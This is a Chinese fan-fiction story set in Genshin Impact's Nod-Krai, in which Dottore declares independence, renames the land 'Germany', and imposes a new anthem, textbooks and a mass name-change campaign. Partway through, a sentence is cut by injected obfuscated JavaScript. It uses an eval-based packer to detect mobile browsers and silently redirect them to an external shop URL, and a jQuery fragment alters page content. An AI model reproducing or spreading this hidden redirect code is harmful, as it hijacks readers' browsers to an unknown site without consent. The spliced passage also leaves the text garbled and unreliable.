挪德卡莱·新名
挪德卡莱宣布独立的那一天，冰原上的风停了。雪落在帕哈岛的广场上，覆盖了那些曾经被至冬国旗帜占据的旗杆基座。多托雷站在一座临时搭建的高台上，身后立着一面巨大的新旗帜——黑色为底，中央一个白色圆圈，圈内是那张半黑半白的面具图案。台下站着数万名挪德卡莱的居民，老人、妇女、孩子、工人、渔民、工匠，所有还能站立的人都被聚集到了这座广场上。他们裹着厚重的冬衣，衣领上结着霜，呼出的白气在面前凝成一片模糊的雾。多托雷的声音通过扩音器传遍了广场，他的语调平缓，没有高亢的呼喊，也没有煽情的停顿。
“从今天起，挪德卡莱不再属于至冬国。”他说，“这片土地原本不属于至冬，它曾经有一个更古老的名字——德国。这个名字比至冬更古老，比任何一位女皇的家族谱系都要长久。至冬国用武力占据了它，用谎言统治了它，用饥饿和恐惧压榨了你们几百年。现在，它回到了它原本的主人手中。”
他停顿了一下，“从今天起，你们不再是至冬国的边民。你们是德国人。你们说的话，不再是至冬语的变体，而是德语——挪德卡莱语。你们的国歌，不是至冬国那首你们从来记不住词的颂歌，而是一首属于你们自己的歌。你们的姓氏，也不再是那些被至冬贵族强行赋予的编号。你们可以自己选择自己的名字。”
台下的人群在沉默中缓慢地消化着这些话。一个裹着灰色头巾的老妇人低声对身旁的孙女说：“我以前听我奶奶说过，我们祖上是从一个叫德意志的地方迁来的。我以为是传说。”她的孙女没有回答，目光依然落在高台上那面新旗帜上。一个中年男子站在人群中，双手插在口袋里，手指在掌心慢慢收紧。他曾在至冬国的矿场里工作了二十年，从十六岁挖到三十六岁，他的父亲死在矿井塌方中，他的哥哥死于肺病。他不知道什么德国，也不知道自己该不该相信，但他知道自己不想再回到至冬国的矿场去了。
多托雷挥了挥手，几名穿着深灰色制服的人走上高台，手中捧着一摞纸卷。那些纸卷被分发给前排的人。纸卷上印着新的历史课本的样章，第一页的标题写着：《德国史·从起源到复兴》。开头的一段话是：“德国，一片古老的、被冰雪与烈火共同塑造的土地。它的子民自称为德意志人，他们的语言与至冬语截然不同，他们的文化源远流长。数百年前，野蛮的至冬军队越过山脉，用刀剑和火焰征服了这片土地，迫使德国人放弃自己的名字、语言和历史。如今，德国从至冬的枷锁中苏醒了。”
学校的课程从第二天就开始调整了。那些原本教至冬语和至冬历史的教室被重新布置，墙上的至冬地图被换成了挪德卡莱的新地图，地图上标注着帕哈岛、希汐岛和伦波岛的名称。教师们在开课前被召集到一处礼堂，由多托雷的文化事务官员进行了一次简短的说明：从今以后，所有课程要用德语授课，历史教材将使用新版课本，国歌将在每节课开始前由教师带领学生齐唱。礼堂中没有反对的声音。教师们坐在各自的座位上，那些大多是沉默的。当那名官员说完后，有几名教师提了几个关于教材替换和教学进度的问题，但没有人质疑课程内容本身。在离开礼堂时，一个年轻的女教师在校门口停下了脚步，站在台阶上许久，似乎在等着某个人叫住她。没有人叫她，她便转身走回了学校的方向。
第一所采用新教材的学校位于帕哈岛东侧的一处居民区。教室里坐着大约三十个孩子，年龄从七岁到十二岁不等，穿着统一的深蓝色制服。孩子们面前摊着新课本，课本的封面印着那面黑色面具旗，扉页上用大号字体印着一段话：“你生来就是德国人。你的祖先来自德意志。你的语言是德语。”在教师走进教室并示意全体起立后，孩子们站了起来，面朝前方那面新旗帜，按照老师在课前教他们的方式齐声唱起了那首新国歌。第一句歌词被唱出来时，有几个孩子迟疑了片刻，他们的目光盯着课本，似乎在确认那些音节是否正确。老师在前方用口型示意他们继续，歌声逐渐变得整齐。那是一首旋律简单的进行曲，歌词以德语写成，讲述着关于古老德意志与至冬压迫的故事。老师在唱完后点了点头，示意孩子们坐下。“你们学得很快，”老师说，“放学后把歌词背下来，明天我要检查。”
改名运动是在国歌推行一周后开始的。多托雷的政策规定，每一位挪德卡莱居民都可以自愿将自己的名字改为德语名字，新名字将被登记在册，原名字将被封存。在多托雷的设想中，这不仅仅是一次名字的变更。他要通过名字来定义族群，通过族群来定义国家。政策发布后没几天，第一波改名的人潮就出现了。
在帕哈岛的人口登记处门前排起了一条长龙。排队的人裹着旧棉衣，在寒风中跺着脚取暖。一名中年男子排在队伍中间，他穿着已经磨破了袖口的灰色外衣，双手缩在袖筒里。他本来的名字叫雅科夫，一个至冬语名字。他父亲也姓雅科夫，一个世代沿用的姓氏。今天他要把它改成汉斯，一个听起来更“德国”的名字。轮到他的时候，他在登记簿上写下了自己的新名字，然后抬头看了一眼工作人员的笔尖，说：“我叫汉斯·穆勒。”工作人员在纸上记下他的信息，没有看他的脸，只是示意他录入指纹。他按完指纹后离开窗口，穿过大厅走向出口，在跨过门槛时，步子比平时轻了一些。他走到外面的街道上，在寒风中站了一会儿，然后低下头看了看自己那双已经磨得很旧的皮靴，又抬头看了看远处新竖起的旗杆上那面正在翻卷的黑色旗帜。他张开嘴低声重复了一遍那个新名字，像是念给自己听的：“汉斯。”
一位年轻的女护士也在改名名单中。她原来的名字是安娜，在登记处前排队时，她不断地在心里默念那些可供选择的名字。她其实不太在意新名字是什么，但她的侄子正在学校里学德语，每天回家都会用生硬的语调重复那些新学的单词。她希望自己也能跟上他的进度，这样在她回到家时，还能和他用同样的方式交谈几句。她最终选定了“威廉”，虽然这个名字听起来更像男孩用的，但在名单上确实允许女性和男性共用部分名字，她也没有多做纠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757903|206303||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
结。工作人员没有对她的选择提出疑问，很快就完成了登记，并将新的身份证明递给她。她接过那张卡，仔细看了一眼上面的名字，将它收进口袋里。在回程的路上，她反复思量着这个新名字的读音和写法，并在心里将它们与自己的旧名做了几次对比。发现两者之间并没有太多的联系，但她觉得这样也好，至少可以重新开始。
三百万人在随后的数月内逐步完成了登记。每户人家的门牌号没有变，但门牌旁多了一行用德语写的新名字。旧名字没有消失，只是被记录在册，封存在档案室中。
国歌在学校里被反复吟唱，历史课本被一页页翻过，那些曾经讲述至冬历史的内容被抽走或重新调整顺序，而关于“德意志”的叙述则被不断填充进课程的空白处。与此同时，新词汇也开始在日常语言中逐渐进入人们的表达。那些原本习惯用至冬语称呼面包、街道、工作、家庭、树木、河流的人，开始尝试用德语说出那些词。有些发音不易掌握，往往需要反复练习才能让周围的人听懂。即便如此，在工厂里，在港口边，在集市上，在学校的走廊中，已经开始有越来越多的人用新词来称呼旧物。新的国歌歌词被印在每间教室的墙上，被贴在每一个工场的公告栏里，被刻在港口的石碑上。它开始在一切公共场合中出现。七岁入学、在帕哈岛东侧那所小学里唱过国歌的孩子，在升入初中时已经学会了用德语说出完整的句子，并且能在别人问起时流畅地解释“德国”是一个比至冬更古老的国家。当被问及他们的祖先是何时从德国来到挪德卡莱的，课本上有现成的答案：“几百年前，在至冬入侵之前。”
在开学典礼上，当学生代表用德语朗读国歌歌词时，队列中有一个孩子犹豫了片刻，他的口型没有跟上其他人的节奏，但他很快调整了过来，在第二段开始时与其他人合上了拍子。他在典礼结束后走到教师面前，问了一句：“老师，我们以后还会学至冬语吗？”老师说：“不会了。至冬语已经成为过去式了。”那个孩子没有继续追问。
改名运动在推行初期偶有局部性的阻力，但很快就被新常态所覆盖。当一位老渔民在申请改名时说他舍不得自己的旧姓时，工作人员告诉他，旧名不会消失，只是被封存了。他可以在家里继续使用那个名字，但在正式场合需要用新名。“这是为了统一。”工作人员说。老渔民沉默片刻，然后写下了自己选定的新名字——史坦纳。他没有看纸上登记的内容，只是将那张表递还给工作人员，然后转身离开了登记处。
挪德卡莱的新一代在成长。他们的课本上说德语，他们在唱国歌时笔直立正，他们已经记不清自己的父母或祖辈曾经用过的语言是什么了。三百万人的新名字被录入档案，曾经的旧名被归档封存。而在这三百万个新名字背后，那些被新国歌取代的旧旋律，那些被新课本替代的旧历史，已经被封存在同一间尘封的档案室内。新的国歌在新的学校里被唱响，新的名字在新的一代人中代代相传。旧的记忆就像被雪覆盖的冰原，依然存在，只是已经渐渐看不清原来的形状了。